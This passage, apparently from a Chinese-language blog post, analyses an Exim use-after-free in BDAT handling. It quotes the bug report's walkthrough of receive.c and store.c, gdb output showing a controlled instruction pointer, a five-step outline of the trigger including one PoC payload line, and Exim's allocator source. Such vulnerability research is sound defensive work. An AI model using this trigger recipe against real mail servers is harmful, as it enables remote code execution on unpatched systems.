class="L6"><code><span class="lit">1786</span><span class="pln"> memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li><li class="L7"><code><span class="lit">1787</span><span class="pln"> store_release</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">);</span></code></li><li class="L8"><code><span class="lit">1788</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> newtext</span><span class="pun">;</span></code></li><li class="L9"><code><span class="lit">1789</span><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="kwd">when</span><span class="pln"> the buffer used to parse header </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">not</span><span class="pln"> big enough</span><span class="pun">,</span><span class="pln"> exim tries to extend the </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="kwd">with</span><span class="pln"> store_extend </span><span class="kwd">function</span><span class="pun">.</span><span class="pln"> </span><span class="typ">If</span><span class="pln"> there </span><span class="kwd">is</span><span class="pln"> any other allocation between the allocation </span><span class="kwd">and</span><span class="pln"> extension of </span><span class="kwd">this</span><span class="pln"> buffer</span><span class="pun">,</span><span class="pln"> store_extend fails</span><span class="pun">.</span></code></li><li class="L2"><code><span class="pln">store</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L3"><code><span class="lit">276</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L4"><code><span class="lit">277</span><span class="pln"> inc yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L5"><code><span class="lit">278</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="typ">Then</span><span class="pln"> exim calls store_get</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">and</span><span class="pln"> store_get cut the current_block directly</span><span class="pun">.</span></code></li><li class="L8"><code><span class="pln">store</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L9"><code><span class="lit">208</span><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)((</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L0"><code><span class="lit">209</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L1"><code><span class="lit">210</span></code></li><li class="L2"><code><span class="lit">211</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="typ">However</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">:</span><span class="lit">1787</span><span class="pun">,</span><span class="pln"> store_release frees the whole block</span><span class="pun">,</span><span class="pln"> leaving the </span><span class="kwd">new</span><span class="pln"> pointer points to a freed location</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Any</span><span class="pln"> further usage of </span><span class="kwd">this</span><span class="pln"> buffer leads to a </span><span class="kwd">use</span><span class="pun">-</span><span class="pln">after</span><span class="pun">-</span><span class="pln">free vulnerability</span><span class="pun">.</span></code></li><li class="L5"><code><span class="typ">To</span><span class="pln"> trigger </span><span class="kwd">this</span><span class="pln"> bug</span><span class="pun">,</span><span class="pln"> BDAT command </span><span class="kwd">is</span><span class="pln"> necessary to perform an allocation </span><span class="kwd">by</span><span class="pln"> raising an error</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Through</span><span class="pln"> </span><span class="kwd">our</span><span class="pln"> research</span><span class="pun">,</span><span class="pln"> we confirm that </span><span class="kwd">this</span><span class="pln"> vulnerability can be exploited to remote code execution </span><span class="kwd">if</span><span class="pln"> the binary </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">not</span><span class="pln"> compiled </span><span class="kwd">with</span><span class="pln"> PIE</span><span class="pun">.</span></code></li><li class="L6"><code><span class="typ">An</span><span class="pln"> RIP controlling </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> attachment poc</span><span class="pun">.</span><span class="pln">py</span><span class="pun">.</span><span class="pln"> </span><span class="typ">The</span><span class="pln"> following </span><span class="kwd">is</span><span class="pln"> the gdb result of </span><span class="kwd">this</span><span class="pln"> </span><span class="typ">PoC</span><span class="pun">:</span></code></li><li class="L7"><code><span class="typ">Program</span><span class="pln"> received signal SIGSEGV</span><span class="pun">,</span><span class="pln"> </span><span class="typ">Segmentation</span><span class="pln"> fault</span><span class="pun">.</span></code></li><li class="L8"><code><span class="lit">0x00000000deadbeef</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="pun">()</span></code></li><li class="L9"><code><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">-------------------------------------------------------------</span></code></li><li class="L1"><code><span class="typ">In</span><span class="pln"> receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">,</span><span class="pln"> exim used receive_getc to </span><span class="kwd">get</span><span class="pln"> message</span><span class="pun">.</span></code></li><li class="L2"><code><span class="lit">1831</span><span class="pln"> ch </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">receive_getc</span><span class="pun">)(</span><span class="pln">GETC_BUFFER_UNLIMITED</span><span class="pun">);</span></code></li><li class="L3"><code><span class="typ">When</span><span class="pln"> exim </span><span class="kwd">is</span><span class="pln"> handling BDAT command</span><span class="pun">,</span><span class="pln"> receive_getc </span><span class="kwd">is</span><span class="pln"> bdat_getc</span><span class="pun">.</span></code></li><li class="L4"><code><span class="typ">In</span><span class="pln"> bdat_getc</span><span class="pun">,</span><span class="pln"> after the length of BDAT </span><span class="kwd">is</span><span class="pln"> reached</span><span class="pun">,</span><span class="pln"> bdat_getc tries to read the </span><span class="kwd">next</span><span class="pln"> command</span><span class="pun">.</span></code></li><li class="L5"><code><span class="pln">smtp_in</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">536</span><span class="pln"> next_cmd</span><span class="pun">:</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">537</span><span class="pln"> </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L8"><code><span class="pln"> </span><span class="lit">538</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="lit">539</span><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span></code></li><li class="L0"><code><span class="pln"> </span><span class="lit">540</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> </span><span class="lit">541</span><span class="pln"> US</span><span class="str">"only BDAT permissible after non-LAST BDAT"</span><span class="pun">);</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">synprot_error may call store_get </span><span class="kwd">if</span><span class="pln"> any non</span><span class="pun">-</span><span class="pln">printable character exists because synprot_error uses string_printing</span><span class="pun">.</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">string</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">304</span><span class="pln"> </span><span class="com">/* Get a new block of store guaranteed big enough to hold the</span></code></li><li class="L7"><code><span class="com"> 305 expanded string. */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="lit">306</span></code></li><li class="L9"><code><span class="pln"> </span><span class="lit">307</span><span class="pln"> ss </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> nonprintcount </span><span class="pun">*</span><span class="pln"> </span><span class="lit">3</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">------------------------------------------------------------------</span></code></li><li class="L1"><code><span class="pln">receive_getc becomes bdat_getc </span><span class="kwd">when</span><span class="pln"> handling BDAT data</span><span class="pun">.</span></code></li><li class="L2"><code><span class="typ">Oh</span><span class="pun">,</span><span class="pln"> I was talking about the source code of </span><span class="lit">4.89</span><span class="pun">.</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> the current master</span><span class="pun">,</span><span class="pln"> it </span><span class="kwd">is</span><span class="pln"> here</span><span class="pun">:</span></code></li><li class="L3"><code><span class="pln">https</span><span class="pun">:</span><span class="com">//github.com/Exim/exim/blob/master/src/src/receive.c#L1790</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="typ">What</span><span class="pln"> </span><span class="kwd">this</span><span class="pln"> </span><span class="typ">PoC</span><span class="pln"> does </span><span class="kwd">is</span><span class="pun">:</span></code></li><li class="L6"><code><span class="lit">1.</span><span class="pln"> send unrecognized command to adjust yield_length </span><span class="kwd">and</span><span class="pln"> make it less than </span><span class="lit">0x100</span></code></li><li class="L7"><code><span class="lit">2.</span><span class="pln"> send BDAT </span><span class="lit">1</span></code></li><li class="L8"><code><span class="lit">3.</span><span class="pln"> send one character to reach the length of BDAT</span></code></li><li class="L9"><code><span class="lit">3.</span><span class="pln"> send an BDAT command without size </span><span class="kwd">and</span><span class="pln"> </span><span class="kwd">with</span><span class="pln"> non</span><span class="pun">-</span><span class="pln">printable character </span><span class="pun">-</span><span class="pln">trigger synprot_error </span><span class="kwd">and</span><span class="pln"> therefore call store_get</span></code></li><li class="L0"><code><span class="com">// back to receive_msg and exim keeps trying to read header</span></code></li><li class="L1"><code><span class="lit">4.</span><span class="pln"> send a huge message </span><span class="kwd">until</span><span class="pln"> store_extend called</span></code></li><li class="L2"><code><span class="lit">5.</span><span class="pln"> uaf</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="typ">This</span><span class="pln"> </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> affected </span><span class="kwd">by</span><span class="pln"> the block layout</span><span class="pun">(</span><span class="pln">yield_length</span><span class="pun">),</span><span class="pln"> so </span><span class="kwd">this</span><span class="pln"> line</span><span class="pun">:</span><span class="pln"> </span><span class="str">`r.sendline('a'*0x1250+'\x7f')`</span><span class="pln"> should be adjusted according to the program state</span><span class="pun">.</span><span class="pln"> I tested on </span><span class="kwd">my</span><span class="pln"> ubuntu </span><span class="lit">16.04</span><span class="pun">,</span><span class="pln"> compiled </span><span class="kwd">with</span><span class="pln"> the attached </span><span class="typ">Local</span><span class="pun">/</span><span class="typ">Makefile</span><span class="pln"> </span><span class="pun">(</span><span class="pln">simply make </span><span class="pun">-</span><span class="pln">j8</span><span class="pun">).</span><span class="pln"> I also attach the updated </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">for</span><span class="pln"> current master </span><span class="kwd">and</span><span class="pln"> the debug report</span><span class="pun">.</span></code></li></ol>在这里先提一下,在Exim中,自己封装实现了一套简单的堆管理,在src/store.c中
1<ol class="linenums"><li class="L0"><code><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span></code></li><li class="L1"><code><span class="pln">store_get_3</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> size</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="com">/* Round up the size to a multiple of the alignment. Although this looks a</span></code></li><li class="L4"><code><span class="com">messy statement, because "alignment" is a constant expression, the compiler can</span></code></li><li class="L5"><code><span class="com">do a reasonable job of optimizing, especially if the value of "alignment" is a</span></code></li><li class="L6"><code><span class="com">power of two. I checked this with -O2, and gcc did very well, compiling it to 4</span></code></li><li class="L7"><code><span class="com">instructions on a Sparc (alignment = 8). */</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> size </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* If there isn't room in the current block, get a new one. The minimum</span></code></li><li class="L2"><code><span class="com">size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since</span></code></li><li class="L3"><code><span class="com">these functions are mostly called for small amounts of store. */</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun"><=</span><span class="pln"> STORE_BLOCK_SIZE</span><span class="pun">)?</span><span class="pln"> STORE_BLOCK_SIZE </span><span class="pun">:</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> mlength </span><span class="pun">=</span><span class="pln"> length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/* Sometimes store_reset() may leave a block for us; check if we can use it */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun"><</span><span class="pln"> length</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="com">/* Give up on this block, because it's too small */</span></code></li><li class="L9"><code><span class="pln"> store_free</span><span class="pun">(</span><span class="pln">newblock</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* If there was no free block, get a new one */</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">newblock</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> pool_malloc </span><span class="pun">+=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Used in pools */</span></code></li><li class="L8"><code><span class="pln"> nonpool_malloc </span><span class="pun">-=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Exclude from overall total */</span></code></li><li class="L9"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> store_malloc</span><span class="pun">(</span><span class="pln">mlength</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun">=</span><span class="pln"> length</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L3"><code><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L5"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_NOACCESS</span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="com">/* There's (now) enough room in the current block; the yield is the next</span></code></li><li class="L6"><code><span class="com">pointer. */</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers from</span></code></li><li class="L1"><code><span class="com">giving warnings. */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L4"><code><span class="pln">filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L6"><code><span class="com">#else</span></code></li><li class="L7"><code><span class="pln">DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Get %5d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L2"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Get %6p %5d %-14s %4d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> size</span><span class="pun">,</span><span class="pln"> filename</span><span class="pun">,</span><span class="pln"> linenumber</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code><span class="com">#endif</span><span class="pln"> </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_UNDEFINED</span><span class="pun">(</span><span class="pln">store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L8"><code><span class="com">/* Update next pointer and number of bytes left in the current block. */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="kwd">return</span><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pln">BOOL</span></code></li><li class="L8"><code><span class="pln">store_extend_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> newsize</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pun">{</span></code></li><li class="L1"><code><span class="kwd">int</span><span class="pln"> inc </span><span class="pun">=</span><span class="pln"> newsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">;</span></code></li><li class="L2"><code><span class="kwd">int</span><span class="pln"> rounded_oldsize </span><span class="pun">=</span><span class="pln"> oldsize</span><span class="pun">;</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">rounded_oldsize </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pln"> rounded_oldsize </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">rounded_oldsize </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">CS ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> CS </span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L8"><code><span class="pln"> inc </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers from</span></code></li><li class="L2"><code><span class="com">giving warnings. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L5"><code><span class="pln">filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L7"><code><span class="com">#else</span></code></li><li class="L8"><code><span class="pln">DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Ext %5d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> newsize</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Ext %6p %5d %-14s %4d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">,</span><span class="pln"> newsize</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> filename</span><span class="pun">,</span><span class="pln"> linenumber</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code><span class="com">#endif</span><span class="pln"> </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newsize </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> newsize </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newsize </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> CS ptr </span><span class="pun">+</span><span class="pln"> newsize</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln">yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> newsize </span><span class="pun">-</span><span class="pln"> rounded_oldsize</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_UNDEFINED</span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">+</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> inc</span><span class="pun">);</span></code></li><li class="L2"><code><span class="kwd">return</span><span class="pln"> TRUE</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">void</span></code></li><li class="L7"><code><span class="pln">store_release_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">block</span><span class="pun">,</span><span class="pln"> </span><span 